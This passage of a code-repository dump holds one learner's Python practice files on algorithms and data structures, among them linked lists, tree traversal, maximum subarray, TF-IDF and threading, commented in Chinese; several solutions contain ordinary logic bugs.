return RandomSelect(arr, low, pivotIndex - 1, k)\n else:\n return RandomSelect(arr, pivotIndex + 1, high, k - pivotIndex)\n\n\nif __name__ == '__main__':\n array = [5, 3, 7, 1, 8, 2, 9, 4, 7, 2, 6, 10]\n k = 5\n #arr = QuickSort(array, 0, len(array) - 1)\n # print(arr[-1:-(k+1):-1])\n # print(arr[-k:])\n # print(BubbleSortTopK(array,k))\n # print(HeapSortTopK(array,k))\n print(RandomSelect(array, 0, len(array)-1,k))\n" }, { "alpha_fraction": 0.47191011905670166, "alphanum_fraction": 0.5046409368515015, "avg_line_length": 20.113401412963867, "blob_id": "fa6a22b131d6b2295f41e52fe980ae67fc5099b9", "content_id": "cb5a08f1bb00b815e27c2b834e4a328c1687889e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2059, "license_type": "no_license", "max_line_length": 43, "num_lines": 97, "path": "/SumList.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 链表求和\n# Input: (2 -> 4 -> 3) + (5 -> 6 -> 4)\n# Output: 7 -> 0 -> 8\n# Explanation: 342 + 465 = 807.\n\nclass Node(object):\n def __init__(self, elem, next=None):\n self.elem = elem\n self.next = next\n\nclass LinkList(object):\n\n def __init__(self, head=None):\n self.head = head\n\n def __len__(self):\n curNode = self.head\n counter = 0\n while curNode:\n counter += 1\n curNode = curNode.next\n return counter\n\n def append(self, elem):\n\n if elem is None:\n return None\n\n node = Node(elem)\n if self.head is None:\n self.head = node\n return node\n else:\n curNode = self.head\n while curNode.next is not None:\n curNode = curNode.next\n curNode.next = node\n return node\n\n\n\ndef listToLinkList(arr):\n ls = LinkList()\n for elem in arr:\n ls.append(elem)\n\n return ls\n\ndef PrintLinkList(node=None):\n while node:\n print(node.elem)\n node = node.next\n\ndef PrintLinkListToNum(node=None):\n\n num = 0\n i = 0\n while node:\n num = node.elem * (10 ** i)+ num\n node = node.next\n i += 1\n print(num)\n return num\n\ndef addLinkList(ls1, ls2):\n node1, node2 = ls1.head, ls2.head\n ls = LinkList()\n a = 0 # 进位\n while node1 and node2:\n Sum = node1.elem + node2.elem + a\n if Sum >= 10:\n a = 1\n b = Sum % 10\n ls.append(b)\n else:\n ls.append(Sum)\n node1 = node1.next\n node2 = node2.next\n\n if node1 is None:\n while node2:\n ls.append(node2.elem)\n node2 = node2.next\n if node2 is None:\n while node1:\n ls.append(node1.elem)\n node1 = node1.next\n return ls\n\nif __name__ == '__main__':\n ls1 = listToLinkList([2, 4, 3, 1])\n ls2 = listToLinkList([5, 6, 4])\n ls = addLinkList(ls1, ls2)\n PrintLinkList(ls.head)\n\n PrintLinkListToNum(ls.head)\n print(ls1.__len__())" }, { "alpha_fraction": 0.45846477150917053, "alphanum_fraction": 0.4773922264575958, "avg_line_length": 26.536231994628906, "blob_id": "32de347204183e6a4666e6915928fba5830f8d91", "content_id": "12d7b2ae9af7a0de835adb1d9f1fbfde5519df16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1902, "license_type": "no_license", "max_line_length": 73, "num_lines": 69, "path": "/Te.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "import sys\n\n\ndef transpose_matrix(Matrix, row, col):\n for i in range(row):\n for j in range(i + 1, col):\n Matrix[i][j], Matrix[j][i] = Matrix[j][i], Matrix[i][j]\n return Matrix\n\n\ndef matrix_output(Matrix, row, col):\n for i in range(row):\n for j in range(col):\n print(Matrix[i][j], end=' ')\n print('\\n')\n\nclass node(object):\n def __init__(self, left, right):\n if left > right:\n self.left, self.right = right, left\n else:\n self.left, self.right = left, right\n\n\nif __name__ == '__main__':\n # lines = int(sys.stdin.readline())\n # Matrix = []\n # for i in range(lines):\n # arr = list(map(int, sys.stdin.readline().split()))\n # Matrix.append(arr)\n # matrix_output(transpose_matrix(Matrix, lines, lines), lines, lines)\n\n # a = [1, 2, 3, 4, 5]\n# # b = {str(i) for i in a}\n# # print(b)\n\n\n# line = list(map(int, sys.stdin.readline().split()))\n# N, M, P = line[0], line[1], line[2]\n# Ai = list(map(int, sys.stdin.readline().split()))\n# for i in range(M):\n# line = list(sys.stdin.readline().split())\n# if line[0] == 'B':\n# Ai[int(line[1]) - 1] -= 1\n# if line[0] == 'A':\n# Ai[int(line[1]) - 1] += 1\n# P_value = Ai[P - 1]\n# count = 0\n# for i in Ai:\n# if i < P_value:\n# count += 1\n# print(count)\n\n N = int(sys.stdin.readline().strip())\n ls = []\n for i in range(N):\n line = list(map(int, sys.stdin.readline().split()))\n ls.append(node(line[0], line[1]))\n for j in range(i):\n if ls[i - 1].right < ls[j].right:\n ls[j], ls[i - 1] = ls[i - 1], ls[j]\n break\n count = 0\n left = -100000\n for i in range(N-1, -1, -1):\n if ls[i].right> left:\n count += 1\n left = ls[i].left\n print(count)\n\n\n" }, { "alpha_fraction": 0.5734424591064453, "alphanum_fraction": 0.5911778211593628, "avg_line_length": 34.48387145996094, "blob_id": "2f93f3e47c035ac0aa44a20b034f2b227780713b", "content_id": "e1caed0c832b3771880d107453fbfebb1e7fb607", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2199, "license_type": "no_license", "max_line_length": 141, "num_lines": 62, "path": "/BinaryTreeTraversal.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# https://www.nowcoder.com/practice/6e732a9632bc4d12b442469aed7fe9ce?tpId=40&&tqId=21544&rp=2&ru=/activity/oj&qru=/ta/kaoyan/question-ranking\n\nclass Tree():\n def __init__(self, elem, lchild, rchild):\n self.elem = elem\n self.lchild = lchild\n self.rchild = rchild\n\n def later_output(self, output):\n if self.lchild != None:\n self.lchild.later_output(output)\n if self.rchild != None:\n self.rchild.later_output(output)\n output.append(self.elem)\n\ndef rebuildBinaryTree(front_order, middle_order):\n if front_order == '':\n return None\n elem = front_order[0]\n front_post, middle_post = front_order.find(elem), middle_order.find(elem)\n front_len, middle_len= len(front_order), len(middle_order)\n lchild = later_order(front_order[1:middle_post+1], middle_order[0:middle_post])\n rchild = later_order(front_order[middle_post+1:front_len], middle_order[middle_post+1:middle_len])\n return Tree(elem, lchild, rchild)\n\n\ndef later_order(front_order, middle_order):\n if front_order == '':\n return\n node = front_order[0]\n front_post, middle_post = front_order.find(node), middle_order.find(node)\n front_len, middle_len= len(front_order), len(middle_order)\n later_order(front_order[1:middle_post+1], middle_order[0:middle_post])\n later_order(front_order[middle_post+1:front_len], middle_order[middle_post+1:middle_len])\n later_ls.append(node)\n\n\nif __name__ == '__main__':\n # later_ls = []\n # while True:\n # try:\n # front_order = input()\n # middle_order = input()\n # later_order(front_order, middle_order)\n # print(''.join(later_ls))\n # later_ls = []\n # except:\n # break\n later_ls = []\n while True:\n try:\n front_order = input()\n middle_order = input()\n # later_order(front_order, middle_order)\n # print(''.join(later_ls))\n # later_ls = []\n Tree = rebuildBinaryTree(front_order, middle_order)\n Tree.later_output(later_ls)\n print(''.join(later_ls))\n later_ls = []\n except:\n break" }, { "alpha_fraction": 0.7651792168617249, "alphanum_fraction": 0.785662055015564, "avg_line_length": 34.02564239501953, "blob_id": "ca6e0f7accc9c2fd9942e8c38f53c81e9d030919", "content_id": "eea093d6f2f676935d231392bf5dbeda9b9effa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1913, "license_type": "no_license", "max_line_length": 100, "num_lines": 39, "path": "/TFIDF.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# https://blog.csdn.net/zs15321583801/article/details/84061348\n# TF:词频(t,d)=\n# IDF:逆文档频率(t)=1+log(总文档数/包含词t的文档数)\n\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer, TfidfTransformer\ncorpus = [\n 'This is the first document.',\n 'This is the second second document.',\n 'And the third one.',\n 'Is this the first document?',]\n\n# CountVectorizer是通过fit_transform函数将文本中的词语转换为词频矩阵\nvectorizer = CountVectorizer()\n\n# get_feature_names()可看到所有文本的关键字\n# vocabulary_可看到所有文本的关键字和其位置\n# toarray()可看到词频矩阵的结果\n\ncount = vectorizer.fit_transform(corpus)\nprint(vectorizer.get_feature_names())\nprint(vectorizer.vocabulary_)\nprint(count.toarray())\n\n# TfidfTransformer是统计CountVectorizer中每个词语的tf-idf权值\nTFidftransformer = TfidfTransformer()\ntfidf_matrix = TFidftransformer.fit_transform(count)\nprint(tfidf_matrix.toarray())\n\n# TfidfVectorizer可以把CountVectorizer, TfidfTransformer合并起来,直接生成tfidf值\n# TfidfVectorizer的关键参数:\n# max_df:这个给定特征可以应用在 tf-idf 矩阵中,用以描述单词在文档中的最高出现率。假设一个词(term)在 80% 的文档中都出现过了,那它也许(在剧情简介的语境里)只携带非常少信息。\n# min_df:可以是一个整数(例如5)。意味着单词必须在 5 个以上的文档中出现才会被纳入考虑。设置为 0.2;即单词至少在 20% 的文档中出现 。\n# ngram_range:这个参数将用来观察一元模型(unigrams),二元模型( bigrams) 和三元模型(trigrams)。参考n元模型(n-grams)。\ntfidf_vec = TfidfVectorizer()\n\ntfidf_matrix = tfidf_vec.fit_transform(corpus)\nprint(tfidf_vec.get_feature_names())\nprint(tfidf_vec.vocabulary_)\nprint(tfidf_matrix.toarray())\n\n" }, { "alpha_fraction": 0.5563997626304626, "alphanum_fraction": 0.5692577362060547, "avg_line_length": 26.967212677001953, "blob_id": "16fcf70fdd7f05ed38bca6bc6b5a1d7a9d4442de", "content_id": "a6eccf3cf9607878b5d1076cd698de9958b44700", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1711, "license_type": "no_license", "max_line_length": 94, "num_lines": 61, "path": "/ProducerConsumer.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "#https://www.jianshu.com/p/d85a4329d0c2\n\nimport threading, time, queue, random\n\nclass TaskThread(threading.Thread):\n def __init__(self, name):\n threading.Thread.__init__(self, name=name)\n\n def run(self):\n print('thread {} is running...'.format(self.getName()))\n\n for i in range(10):\n print('thread {} >> {}'.format(self.getName(), i))\n time.sleep(1)\n\n print('thread {} is finished...'.format(self.getName()))\n\nclass Producer(threading.Thread):\n def __init__(self, name, queue):\n super().__init__()\n self.name = name\n self.data = queue\n\n def run(self):\n for i in range(5):\n print('{} is producing {} to the queue!'.format(self.getName(), i))\n time.sleep(random.randrange(10)/5)\n self.data.put(i)\n print('{} finished!'.format(self.getName()))\n\nclass Consumer(threading.Thread):\n def __init__(self, name, queue):\n super().__init__()\n self.name = name\n self.data = queue\n\n def run(self):\n for i in range(5):\n val = self.data.get()\n print('{} is consuming. {} in the queue is consumed!'.format(self.getName(), val))\n time.sleep(random.randrange(10)/3)\n print('{} finished!'.format(self.getName()))\n\ndef main():\n queue1 = queue.Queue()\n thread_producer = Producer('producer', queue1)\n thread_consumer = Consumer('consumer', queue1)\n\n thread_producer.start()\n thread_consumer.start()\n thread_producer.join()\n thread_consumer.join()\n\n print('All thread finished!')\n\n\nif __name__ == '__main__':\n # thread = TaskThread(\"TaskThread\")\n # thread.start()\n # thread.join()\n main()\n\n\n\n\n\n" }, { "alpha_fraction": 0.4792899489402771, "alphanum_fraction": 0.5029585957527161, "avg_line_length": 22.581396102905273, "blob_id": "4d651f3c9a142a0fdb8b45fd7ce173ca14d6197c", "content_id": "0420fb4fa28eeb9764ffaa0fb672a46e92a0e2ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2196, "license_type": "no_license", "max_line_length": 68, "num_lines": 86, "path": "/MaxSubArray.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "\ndef ViolentMaxSubArray(arr):\n '''暴力法'''\n if arr == None:\n return 0\n MaxSum = 0\n index_begin = 0\n index_over = 0\n for i in range(len(arr)):\n for j in range(i+1, len(arr)):\n Sum = sum(arr[i:j])\n if Sum > MaxSum:\n MaxSum = Sum\n index_begin = i\n index_over = j\n\n return MaxSum, arr[index_begin:index_over]\n\n\ndef KadaneMaxSubArray(arr):\n '''Kadane算法'''\n if arr == None:\n return 0\n MaxSum = 0\n Sum = 0\n index_begin = 0\n index_over = 0\n for i in range(len(arr)):\n Sum += arr[i]\n if Sum > MaxSum:\n index_over = i+1\n MaxSum = Sum\n if Sum < 0:\n index_begin = i+1\n Sum = 0\n return MaxSum, arr[index_begin:index_over]\n\ndef DPMaxSubArray(arr):\n '''动态规划,问题具有最优子结构MS[i]=max{MS[i], arr[i]},MS[i]是数组从0-i的最大子数组和'''\n length = len(arr)\n MS = [0]*length\n for i in range(1, length):\n MS[i] = max(MS[i-1]+arr[i], arr[i])\n\n return max(MS), MS\n\ndef DiviMaxSubArray(arr, left, right):\n ''' 将arr分为两段,最大字段和要么在左半部分,要么在右半部分,要么在中间相连的部分 '''\n if left == right :\n if arr[left] > 0:\n return arr[left]\n else:\n return 0\n center = (left + right) // 2\n leftsum = DiviMaxSubArray(arr, left, center) # 左半部分\n rightsum = DiviMaxSubArray(arr, center+1, right) # 右半部分\n\n ''' 中间相连部分判断'''\n s_1 = 0\n left_sum = 0\n i = center\n while i >= left:\n left_sum += arr[i]\n i -= 1\n if left_sum > s_1:\n s_1 = left_sum\n\n s_2 = 0\n j = center+1\n right_sum = 0\n while j <= right:\n right_sum += arr[j]\n j += 1\n if right_sum > s_2:\n s_2 = right_sum\n\n return max([s_1+s_2, leftsum, rightsum])\n\n\nif __name__ == '__main__':\n\n arr = [1, -2, 3, 10, -4, 7, 2, -5]\n print(arr)\n print(KadaneMaxSubArray(arr))\n print(ViolentMaxSubArray(arr))\n print(DPMaxSubArray(arr))\n print(DiviMaxSubArray(arr, 0, len(arr)-1))" }, { "alpha_fraction": 0.47333332896232605, "alphanum_fraction": 0.5096969604492188, "avg_line_length": 20.389610290527344, "blob_id": "03eee2541342a35f7a8d3ea2e70bc0342abd666f", "content_id": "80691be753a2d58b5a54b0dc7653c77cd9393890", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2122, "license_type": "no_license", "max_line_length": 64, "num_lines": 77, "path": "/JudgeSymStr.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 爱奇艺\n# 题目:给你一个字符串,可以对这个字符串进行多次调整,判断这个字符串进行任意调整后是否是对称字符串,\n# 要求写一个函数,函数的输入是字符串,输出是true或false。\n\n# 比如:abcab,经过第4个字符与第5个字符调整位置后,整个字符串是对称字符串,直接返回true。\n#\n# aca,肯定是对称字符串,直接返回true。\n#\n# aadb,无论你如何进行调整,都不会让字符串变成对称字符,返回false。\n\n# 思路:用字典解决,key为字符,value为字符的个数\n\ndef judge_sym_str(str):\n result = {}\n length = len(str)\n\n for i in str:\n result[i] = str.count(i)\n\n if length % 2 == 0:\n for i in result.values():\n if i % 2 == 1:\n return False\n return True\n else:\n count = 0\n for i in result.values():\n if i % 2 == 1:\n i += 1\n if count == 1:\n return True\n else:\n return False\n\n# 给定一个无序的整数数组,第i个元素只能和其右边的元素进行比较,按照这种方式数组中两个元素之间的最大差(好像是编程之美里的题)\n\ndef MaxDifference(ls):\n if len(ls) < 2:\n return\n\n max_index = ls[len(ls) - 1]\n min_index = ls[len(ls) - 1]\n for i in range(len(ls)-2, -1, -1):\n if ls[i] > ls[max_index]:\n max_index = i\n if ls[i] < ls[min_index]:\n min_index = i\n\n return ls[max_index] - ls[min_index]\n\ndef DP(ls):\n if len(ls) < 2:\n return\n\n length = len(ls)\n dp = [0] * length\n dp[length - 1] = 0\n for i in range(length-2, -1, -1):\n if dp[i+1] < 0:\n dp[i] = ls[i] - ls[i + 1]\n else:\n dp[i] = dp[i + 1] + ls[i] - ls[i + 1]\n\n return max(dp)\n\n\n\nif __name__ == '__main__':\n\n str = '123abc123asd1'\n str1 = 'adccda'\n print(judge_sym_str(str))\n print(judge_sym_str(str1))\n ls = [1, 3, 5, 1, 3, 3, 5, 2, 8, 10, 3, 20, 3]\n ls1 = [1, 5, 2, 7, 10]\n print(MaxDifference(ls))\n print(DP(ls))\n\n\n\n" }, { "alpha_fraction": 0.562141478061676, "alphanum_fraction": 0.562141478061676, "avg_line_length": 29.705883026123047, "blob_id": "2f43fc000768a4c56bbea6a39eb27895555fe5d6", "content_id": "7d109912f168b4a8ba895f46e05a15bded9e8748", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 523, "license_type": "no_license", "max_line_length": 98, "num_lines": 17, "path": "/isSymmetricalTree.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "\nclass Solution:\n def isSymmetrical(self, pRoot):\n # write code here\n if pRoot == None:\n return True\n else:\n self.isJudge(pRoot.left, pRoot.right)\n\n def isJudge(self, left, right):\n if left == None and right == None:\n return True\n if left == None or right == None:\n return False\n if left.val != right.val:\n return False\n\n return self.isJudge(left.lchild, right.rchild) and self.isJudge(left.rchild, right.lchild)\n" }, { "alpha_fraction": 0.5175201892852783, "alphanum_fraction": 0.5552560687065125, "avg_line_length": 23.733333587646484, "blob_id": "6e1b62ced109d977e1f76bee36d8b35eebd9cd78", "content_id": "b755ab72ffdcce16bd52f0d53502cf07399a98b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 385, "license_type": "no_license", "max_line_length": 65, "num_lines": 15, "path": "/StringDeleteString.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# https://blog.csdn.net/guohengsheng3882/article/details/79042582\n# 爱奇艺\n\n\ndef str_del_str(str_A='Hello world', str_B='er'):\n # 循环替换\n for i in range(len(str_B)):\n for j in range(1, len(str_B)+1):\n str_A = str_A.replace(str_B[i:j], '')\n return str_A\n\nif __name__ == '__main__':\n str_A = 'Hello world'\n str_B = 'er'\n print(str_del_str())\n" }, { "alpha_fraction": 0.4987584352493286, "alphanum_fraction": 0.5026605129241943, "avg_line_length": 18.985815048217773, "blob_id": "58824db64f9e7681c192b320fc4bbb78d5524fd1", "content_id": "82b747b19758d2f71ec54b841c90b2c792301a8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3021, "license_type": "no_license", "max_line_length": 50, "num_lines": 141, "path": "/LinkedList.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 链表\n\nclass Node(object):\n\n def __init__(self, elem, next=None):\n self.elem = elem\n self.next = next\n\n def __str__(self):\n '''测试基本功能,输出节点值'''\n return str(self.elem)\n\nclass LinkedList(object):\n def __init__(self, head=None):\n self.head = head\n\n def __len__(self):\n cur = self.head\n counter = 0\n while cur:\n counter +=1\n cur = cur.next\n return counter\n\n def insertToFront(self, elem):\n '''从前插入节点,若插入数据为空,返回None,否则返回当前头结点'''\n if elem is None:\n return None\n node = Node(elem, self.head)\n self.head = node\n return node\n\n def append(self,elem):\n '''把节点插入末尾,若插入数据为空,返回None,否则返回插入的结点'''\n\n if elem is None:\n return None\n\n node = Node(elem)\n if self.head is None:\n self.head = node\n return node\n\n cur_node = self.head\n while cur_node.next is not None:\n cur_node = cur_node.next\n cur_node.next = node\n return node\n\n def find(self, elem):\n '''若插入数据为空或者找不到,返回None,否则返回查找到的结点'''\n if elem is None:\n return None\n\n cur_node = self.head\n while cur_node is not None:\n if cur_node.elem == elem:\n return cur_node\n cur_node = cur_node.next\n return None\n\n\n def delete(self, elem):\n if elem is None:\n return None\n\n if self.head is None:\n return None\n\n if self.head.elem == elem:\n self.head = self.head.next\n return True\n\n cur_node = self.head\n\n while cur_node.next is not None:\n if cur_node.next.elem == elem:\n cur_node.next = cur_node.next.next\n return True\n cur_node = cur_node.next\n\n return None\n\n def reverseList(self):\n if self.head == None:\n return None\n\n L, M, R = None, None, self.head\n\n while R.next is not None:\n L = M\n M = R\n R = R.next\n M.next = L\n\n R.next = M\n return R\n\ndef reverse_list(List):\n\n if List.head is None:\n return None\n\n L, M, R = None, None, List.head\n\n while R.next is not None:\n L = M\n M = R\n R = R.next\n M.next = L\n\n R.next = M\n\n return R\n\n\ndef printList(node):\n\n while node:\n print(node)\n node = node.next\n\ndef printBackard(node):\n '''递归打印链表'''\n if node:\n print(node)\n printBackard(node.next)\n\n\n\nif __name__ == '__main__':\n\n node1 = Node(1)\n node2 = Node(2)\n node3 = Node(3)\n\n linked_list = LinkedList(node1)\n linked_list.append(node2)\n linked_list.append(node3)\n print(linked_list.__len__())\n printList(linked_list.reverseList())\n\n" } ]
23
Jsinclairisto/flask-blog
https://github.com/Jsinclairisto/flask-blog
e9ee0790f783ea2e451913a42095518a4610750b
d32776e6744d1c4f5b77f0f9c430287ea9661ccd
b49df0c1811a4090cee3784d9680a1d069a07869
refs/heads/master
2020-12-19T07:51:41.700012
2020-02-15T09:13:30
2020-02-15T09:13:30
235,670,224
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7894737124443054, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 15, "blob_id": "7bf7efb514345585f10774ff76be1a1ba4a14160", "content_id": "64b50057e4e4298cff2142c1097ffdf5f3514cc9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 95, "license_type": "permissive", "max_line_length": 21, "num_lines": 6, "path": "/setup.sh", "repo_name": "Jsinclairisto/flask-blog", "src_encoding": "UTF-8", "text": "#!/bin/sh\npip install flask\npip install Flask-WTF\npip install Config\npip install markdown\n#etc." }, { "alpha_fraction": 0.6801899075508118, "alphanum_fraction": 0.6827794313430786, "avg_line_length": 27.2560977935791, "blob_id": "97a7d902e80416366abe70ed5b33b0bbef228698", "content_id": "262f9b0e89648cf8d00877861cfcb84b32319ab9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2317, "license_type": "permissive", "max_line_length": 91, "num_lines": 82, "path": "/app/routes.py", "repo_name": "Jsinclairisto/flask-blog", "src_encoding": "UTF-8", "text": "#import certain functions into the global\n#namespace\nfrom app import app\nfrom os import walk\nfrom flask_user import roles_required, login_required\nfrom markdown import markdown\nfrom flask import render_template_string, render_template, flash, redirect, request\nfrom app.blog_helpers import render_markdown, LoginForm\nimport urllib.request\nimport os\n#safe global import (okay to use)\nimport flask\n\n#home page\[email protected](\"/\")\ndef home():\n return render_template('index.html')\n\n\n#Success page. Directs here after form is submitted\[email protected]('/success')\ndef success():\n hasAccess = True\n print(hasAccess)\n return render_template('success.html')\n \n#Login page\[email protected]('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n hasAccess = False\n\n \n if form.validate_on_submit():\n hasAccess = True\n return redirect('success') \n # else:\n # return '<h1>YOU FUCKED UP AAAHHH!</h1>'\n\n return render_template('login.html', title='Sign In', form=form)\n\[email protected]('/all')\ndef temp_listings():\n\n #view_data[\"pages\"] = (['about.html', 'butt.html', 'icecream.html'])\n\n #assigns current directory to base_path variable\n base_path = os.getcwd()\n \n #combines base path with target path. This way, it will work with all users.\n #They'll have different base paths, but will have the same sub-path of '/app/templates'\n dest_path = base_path + '/app/templates'\n #assigns combo to file_path\n file_path = os.path.relpath(dest_path, base_path)\n files = os.listdir(file_path)\n\n return render_template('all.html', files=files)\n\n#generic page\[email protected]('/<view_name>')\n\n#input parameter name must match route parameter\ndef render_page(view_name):\n html = render_markdown(view_name + '.html')\n print('YOOOOO IT WORKS AYYYYY')\n return render_template_string(html, view_name = view_name)\n\[email protected]('/edit/<edit_file>') \n@login_required\ndef edit(edit_file):\n hasAccess = login()\n output_page = render_markdown(edit_file + '.html')\n return render_template('edit.html', output_page=output_page)\n \[email protected]('/createpost')\n@login_required\ndef createpost():\n return '<h1>Hello People of Earth</h1>'\n \[email protected]('/createaccount')\ndef createaccount():\n return '<h1>Currently in development...</h1>'\n" }, { "alpha_fraction": 0.7905604839324951, "alphanum_fraction": 0.7920354008674622, "avg_line_length": 31.238094329833984, "blob_id": "e7a93e7978fae45a0de84871b27814782c2398df", "content_id": "693251e89752ea6027d9779ae8e38e3dcdf2b7ed", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 678, "license_type": "permissive", "max_line_length": 80, "num_lines": 21, "path": "/app/__init__.py", "repo_name": "Jsinclairisto/flask-blog", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_bootstrap import Bootstrap\n\nfrom flask_user import login_required, UserManager, UserMixin, SQLAlchemyAdapter\nfrom wtforms import StringField, PasswordField, BooleanField, SubmitField\nfrom wtforms.validators import DataRequired\nfrom wtforms.validators import Length\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport config\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'shhhhh_its_a_secret'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite3'\napp.config['CSRF_ENABLED'] = True\napp.config['USER_ENABLE_EMAIL'] = False\ndb = SQLAlchemy(app)\nBootstrap(app)\n\nfrom app import routes\n\n" }, { "alpha_fraction": 0.7112635970115662, "alphanum_fraction": 0.7232704162597656, "avg_line_length": 39.627906799316406, "blob_id": "d249d659308670226e5f5058039b18a9b80a9615", "content_id": "d592033262dc1a137fc6e2479e45e9551258cc03", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1749, "license_type": "permissive", "max_line_length": 95, "num_lines": 43, "path": "/app/blog_helpers.py", "repo_name": "Jsinclairisto/flask-blog", "src_encoding": "UTF-8", "text": "from markdown import markdown\nfrom flask_wtf import FlaskForm\nfrom flask import render_template\nfrom flask_user import login_required, UserManager, UserMixin, SQLAlchemyAdapter\nfrom wtforms import StringField, PasswordField, BooleanField, SubmitField\nfrom wtforms.validators import DataRequired\nfrom wtforms.validators import Length\nfrom flask_sqlalchemy import SQLAlchemy\nfrom app import app, db\nimport os\n\nclass User(db.Model, UserMixin):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(50), nullable=False, unique=True)\n password = db.Column(db.String(255), nullable=False, server_default='')\n active = db.Column(db.Boolean(), nullable=False, server_default='0')\n\nclass LoginForm(FlaskForm):\n username = StringField('Username', validators=[DataRequired(), Length(min=6, max=25)])\n password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=25)])\n remember_me = BooleanField('Remember Me')\n submit = SubmitField('Sign in')\n\nclass SignInForm(FlaskForm):\n username = StringField('Username', validators=[DataRequired(), Length(min=6, max=25)])\n password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=25)]) \n emailAddress = StringField('Email', validators=[DataRequired(),Length(min=6, max=25)])\n\ndb_adapter = SQLAlchemyAdapter(db, User)\nuser_manager = UserManager(db_adapter, app)\n\ndef render_markdown(file_name, dir_path = 'app/templates'):\n \"\"\"Takes the specified file path and\n returns it as HTML\n \"\"\"\n html = \"\"\n\n #os.path.join creates an OS-valid path\n path = os.path.join(dir_path, file_name)\n with open(path) as html_file:\n html = html_file.read()\n html = markdown(html)\n return html\n\n\n" } ]
4
Daniel98p/QuizApp
https://github.com/Daniel98p/QuizApp
e2fff5999a3310ab466bfc98a53c65664630073b
709dbf3a2d51c0c94a2c895089ade6c973fad746
6803facbc68439b7d26d02a89d71983ac5894399
refs/heads/master
2022-12-04T04:53:51.556322
2020-08-25T16:22:41
2020-08-25T16:22:41
282,218,138
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7932960987091064, "alphanum_fraction": 0.7932960987091064, "avg_line_length": 28.83333396911621, "blob_id": "977b7bf59768900c85326b2222d2d9b34804ac9f", "content_id": "646ebec29eadf026bde5cb9a7da57657ab8a3dc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 537, "license_type": "no_license", "max_line_length": 77, "num_lines": 18, "path": "/quiz/api/views.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from quiz_app.models import Question, Quiz, Answer\nfrom .serializers import QuestionSerializer, QuizSerializer, AnswerSerializer\nfrom rest_framework import generics\n\n\nclass QuestionList(generics.ListCreateAPIView):\n queryset = Question.objects.all()\n serializer_class = QuestionSerializer\n\n\nclass QuizList(generics.ListCreateAPIView):\n queryset = Quiz.objects.all()\n serializer_class = QuizSerializer\n\n\nclass AnswerList(generics.ListCreateAPIView):\n queryset = Answer.objects.all()\n serializer_class = AnswerSerializer\n" }, { "alpha_fraction": 0.6753472089767456, "alphanum_fraction": 0.6753472089767456, "avg_line_length": 27.799999237060547, "blob_id": "8a5c9a31e61dc74e8ecf68a050fd085cd8f9d197", "content_id": "0789471ec15bbb21b4cc2f71c22f887efa697b13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "no_license", "max_line_length": 83, "num_lines": 20, "path": "/quiz/api/serializers.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom quiz_app.models import Question, Quiz, Answer\n\n\nclass QuestionSerializer(serializers.ModelSerializer):\n class Meta:\n model = Question\n fields = ['id', 'question_text', 'publication_date', 'category', 'quiz_id']\n\n\nclass QuizSerializer(serializers.ModelSerializer):\n class Meta:\n model = Quiz\n fields = ['id', 'name', 'publication_date']\n\n\nclass AnswerSerializer(serializers.ModelSerializer):\n class Meta:\n model = Answer\n fields = ['id', 'answer_text', 'question_id', 'answer_int']\n" }, { "alpha_fraction": 0.5364705920219421, "alphanum_fraction": 0.5364705920219421, "avg_line_length": 29.428571701049805, "blob_id": "5e76533f57362662f43ea33797dc63fb20f43651", "content_id": "dbbfe904fc92e64b89b6a86203bf165120658a98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 425, 